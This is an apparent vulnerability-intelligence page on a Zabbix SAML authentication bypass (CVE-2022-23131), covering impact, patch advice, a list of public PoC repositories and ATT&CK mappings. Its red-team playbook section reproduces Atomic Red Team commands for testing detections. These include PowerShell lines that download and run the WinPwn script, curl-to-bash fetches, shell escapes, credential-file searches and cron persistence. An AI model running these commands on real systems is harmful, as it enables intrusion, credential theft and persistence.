CVE-2022-23131

CRITICAL CISA KEV POC TTE 35d Pub 13/01 Upd 21/10

Overview

This vulnerability is an authentication bypass caused by improper validation of session data in the Zabbix Frontend when SAML SSO authentication is enabled. The root cause lies in the failure to verify the user login information stored within the session, allowing manipulation of session attributes by unauthenticated actors. The affected component is the session management mechanism tied to the SAML SSO authentication feature in Zabbix Frontend.

Vulnerability Description

In the case of instances where the SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor, because a user login stored in the session was not verified. Malicious unauthenticated actor may exploit this issue to escalate privileges and gain admin access to Zabbix Frontend. To perform the attack, SAML authentication is required to be enabled and the actor has to know the username of Zabbix user (or use the guest account, which is disabled by default).

Impact

An unauthenticated attacker can exploit this vulnerability to gain administrative access to the Zabbix Frontend, enabling full control over the monitoring system. The attacker must have SAML authentication enabled and know a valid username or use the guest account if enabled. Successful exploitation compromises sensitive monitoring data and configuration, potentially allowing manipulation or disruption of monitored infrastructure. This results in a critical breach of system integrity and confidentiality.

Solution

Zabbix has addressed this issue in patched releases; users should upgrade to the latest stable version where the vulnerability is fixed. Refer to the official Zabbix support advisory at https://support.zabbix.com/browse/ZBX-20350 for detailed patch instructions and version-specific remediation steps. Disabling SAML authentication temporarily can serve as a workaround until patches are applied.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability associated with the SAML SSO authentication mechanism in Zabbix allows for session data manipulation due to inadequate verification of user login information stored in the session. When SAML authentication is enabled, which is not the default setting, an attacker can exploit this weakness to modify session data. This exploitation occurs because the system fails to validate the authenticity of the session data, allowing unauthorized users to escalate their privileges. Specifically, an unauthenticated actor could potentially gain administrative access to the Zabbix Frontend by either knowing a valid username or leveraging a guest account, which, although disabled by default, could be enabled in certain configurations.

Attack vectors for this vulnerability primarily revolve around the manipulation of session data. An attacker could initiate a session hijacking attack by intercepting or crafting requests that exploit the lack of verification in the session management process. If the attacker knows a valid username, they can craft a request that alters the session data to impersonate that user. In scenarios where the guest account is enabled, the attacker could leverage this account to gain unauthorized access to the system. This exploitation could lead to unauthorized actions within the Zabbix environment, including the ability to modify configurations, access sensitive data, and potentially disrupt services.

The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Zabbix for monitoring and managing their IT infrastructure. Gaining administrative access could allow an attacker to manipulate monitoring settings, disable alerts, or even erase logs, thereby obscuring their activities and making detection more difficult. The business risks associated with such unauthorized access include potential data breaches, loss of service availability, and damage to the organization's reputation. Furthermore, the financial implications of remediation efforts and potential regulatory penalties for failing to secure sensitive data could be substantial.

To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that SAML authentication is configured securely, with proper validation mechanisms in place to verify session data. Regular audits of user accounts, especially those with administrative privileges, can help identify any unauthorized access. Additionally, organizations should consider disabling the guest account unless absolutely necessary and ensure that all user accounts have strong, unique passwords. Employing web application firewalls (WAF) can also help detect and block malicious requests that attempt to exploit this vulnerability. Finally, keeping the Zabbix software up to date with the latest security patches is essential to protect against known vulnerabilities.

In conclusion, the vulnerability in the SAML SSO authentication process within Zabbix represents a critical risk that can lead to severe consequences for organizations. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare to defend against such threats. Implementing robust detection and mitigation strategies will not only protect sensitive data but also ensure the integrity and availability of the systems that organizations rely on for their operational success.




Recent adjustments to the CVSS score for CVE-2022-23131 from 9.8 to 9.1 reflect a refined understanding of the vulnerability’s exploitability and impact, as corroborated by stable EPSS metrics indicating consistent but not escalating exploitation likelihood. CSURFACE threat intelligence notes that while the critical severity remains, this recalibration suggests a slightly moderated risk profile, likely due to constraints such as the prerequisite of enabled SAML authentication and knowledge of valid usernames, which limit broad exploitation. Concurrently, the proliferation of new proof-of-concept exploits across multiple public repositories underscores persistent attacker interest and the potential for opportunistic privilege escalation attempts in environments where SAML SSO is active. Our telemetry does not indicate a marked surge in active exploitation campaigns, but the availability of diverse exploit code lowers the barrier for adversaries with moderate capabilities. Consequently, defenders should maintain heightened vigilance, as the threat remains significant, albeit with a marginally reduced urgency compared to initial assessments.

Affected Products (2)

Vendor Product Version CPE
zabbix Zabbix Zabbix All cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
zabbix Zabbix Zabbix 6.0.0 cpe:2.3:a:zabbix:zabbix:6.0.0:alpha1:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (22)

Repository Author Stars Forks Date Link
Mr-xn/cve-2022-23131
cve-2022-23131 zabbix-saml-bypass-exp
Mr-xn 154 47 2022-02-18 View
jweny/CVE-2022-23131
cve-2022-23131 exp
jweny 95 38 2022-02-18 View
L0ading-x/cve-2022-23131
cve-2022-23131
L0ading-x 29 12 2022-02-22 View
kh4sh3i/CVE-2022-23131
Zabbix - SAML SSO Authentication Bypass
kh4sh3i 15 6 2022-02-28 View
Kazaf6s/CVE-2022-23131
CVE-2022-23131漏洞利用工具开箱即用。
Kazaf6s 11 4 2022-04-02 View
random-robbie/cve-2022-23131-exp
Zabbix SSO Bypass
random-robbie 8 7 2022-02-23 View
SCAMagic/CVE-2022-23131poc-exp-zabbix-
CVE-2022-23131漏洞批量检测与利用脚本
SCAMagic 8 3 2022-07-22 View
zwjjustdoit/cve-2022-23131
poc
zwjjustdoit 1 4 2022-02-21 View
fork-bombed/CVE-2022-23131
CVE-2022-23131 Zabbix Server SAML authentication exploit
fork-bombed 4 0 2024-09-18 View
davidzzo23/CVE-2022-23131
Zabbix Frontend Authentication Bypass Vulnerability
davidzzo23 3 0 2024-10-25 View
Vulnmachines/Zabbix-CVE-2022-23131
Zabbix-SAML-Bypass: CVE-2022-23131
Vulnmachines 2 1 2022-09-02 View
1mxml/CVE-2022-23131
1mxml 3 0 2022-02-18 View
pykiller/CVE-2022-23131
pykiller 2 0 2022-02-24 View
trganda/CVE-2022-23131
trganda 1 1 2022-02-24 View
wr0x00/cve-2022-23131
wr0x00 1 1 2023-01-07 View
Fa1c0n35/zabbix-cve-2022-23131
Fa1c0n35 1 0 2022-02-27 View
clearcdq/Zabbix-SAML-SSO-_CVE-2022-23131
clearcdq 1 0 2023-02-21 View
Chaelsoo/CVE-2022-23131-Wrappers
Chaelsoo 0 0 2026-06-22 View
Arrnitage/CVE-2022-23131_exp
zabbix saml bypass
Arrnitage 0 0 2023-01-09 View
dagowda/Zabbix-cve-2022-23131-SSO-bypass
dagowda 0 0 2024-11-30 View
qq1549176285/CVE-2022-23131
qq1549176285 0 0 2022-02-18 View
r10lab/CVE-2022-23131
r10lab 0 0 2023-10-24 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

4 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-02-22
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2022-02-18
PoC Published (22 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Session Fixation
75% session_fixation
Privilege Escalation
57% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
43%
High High
CAPEC-21 Exploitation of Trusted Identifiers
43%
High High
CAPEC-459 Creating a Rogue Certification Authority Certificate
33%
Medium Very High
CAPEC-476 Signature Spoofing by Misrepresentation
33%
Low High
CAPEC-461 Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
30%
High

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-23131
support.zabbix.com
GitHub CVE x_refsource_MISC
https://support.zabbix.com/browse/ZBX-20350
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-23131